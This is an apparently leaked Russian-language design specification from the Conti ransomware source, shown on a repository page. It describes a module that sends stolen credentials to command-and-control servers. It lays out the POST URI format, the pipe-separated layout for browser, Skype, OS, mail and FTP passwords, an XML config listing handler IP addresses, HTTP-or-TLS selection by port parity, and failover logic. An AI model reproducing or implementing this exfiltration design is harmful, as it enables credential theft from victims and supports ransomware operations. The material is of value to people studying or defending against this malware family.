Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

69 lines
3.5 KiB

2 Данные на сервер отправляются через HTTP POST-запросы. Между сервером и клиентом может стоять сколько угодно reverse-proxy, load-balancer и DNAT. Таким образом, нет никакого способа узнать ip-адрес клиента.
2.1 Каждый запрос содержит в URI три компонента разделённых символом "/" - тег группы, id клиента . Каждый POST имеет URI следующего формата:
/<group-tag>/<clientid>/81/
, где group-tag - тег группы, clientid - id клиента, 81 - код, обозначающий тип данных.
2.1.1 Тег группы - это произвольная строка состоящая из символов (a-z) и цифр (0-9). Параметр не чувствителен к регистру.
Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentGroup)
2.1.2 Id клиента - это строка.
Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentID
2.2 Каждый ответ сервера может быть со следующими HTTP-кодами: 200 и 403. Ответ 200 всегда имеет тело с содержание "/1/" (content-type: text/plain), а ответ 403 используется если прислан не POST-запрос, тело POST имеет неизвестный формат или поля, URI неизвестного формата, или clientid неправильного формата.
3 POST-запрос имеет тело в формате multipart/form-data. И имеет следущие поля:
source - описание источника данных. К примеру, если это даннные из Skype, должно быть что-то вроде "skype passwords", от ОС - "OS passwords". И т.д и т.п.
data - длинный текст в кодировке UTF8.
Каждая строка предназначена для отдельного пароля, и состоит из трех полей, разделенных вертикальной чертой и завершающихся символом конца строки \n:
resource|username|password\n
Если собираются пароли с броузеров, то resource - это url.
К примеру, для броузера посылка может быть наподобие
http://gmx.com|jack|secretpassword\n
http://yahoo.com|jack1|secretpassword1\n
http://somesite.com|jack2|secretpassword2\n
Т.к. пароли могут собираться из разных источников, то в поле area должен быть идентификатор защищаемого паролем ресурса.
Для скайпа это будет
skype|jack|jackass\n
Для ОС - для профиля каждого пользователя отдельная строка
os|jack|hijack\n
os|john|hijohn\n
для почты будет имя pop3/imap сервера - если уместно и его можно сграбить; если нельзя - просто дублируется почтовый адрес
для ftp это будет url, типа ftp://ftp.com
итд
3. Конфиг со списком адресов для отправки данных выдается модулю вызовом Control() с аргументами:
Ctl = "dpost"
CtlArg = "содержимое конфига"
3.1. Конфиг представляет из себя простой xml в следующем формате:
<dpost>
<handler>http://11.22.33.44:8082</handler>
<handler>127.0.0.1:8083</handler>
</dpost>
Префикс http/https к обработчику опционален. Если он указан, следует работать по указанному протоколу.
Если он не указан:
- если значение порта чётное, то работа идёт без шифрования (HTTP), если порт нечётный, то работа идёт поверх SSL/TLS (HTTPS).
3.2. Отправка данных организуется следующим образом:
- выбирается первый из списка url
- к нему клеится uri запроса. Итоговый url будет (для заданного в примере конфига), например такой
http://11.22.33.44:8082/group_id/client_id/81
- выполняется http-запрос, получается ответ сервера
- если при выполнении запроса была ошибка (нет ответа сервера, или код ответа не 200), выбирается следующий url из конфига
- при успешной отправке, происходит выход из цикла отправки и завершение процедуры
- при неуспешной отправке по всем приведенным в конфиге адресам, есть 2 варианта:
- пауза на минуту, далее повтор попыток
- завершение цикла и выход из процедуры
Это решение остается на усмотрение разработчика.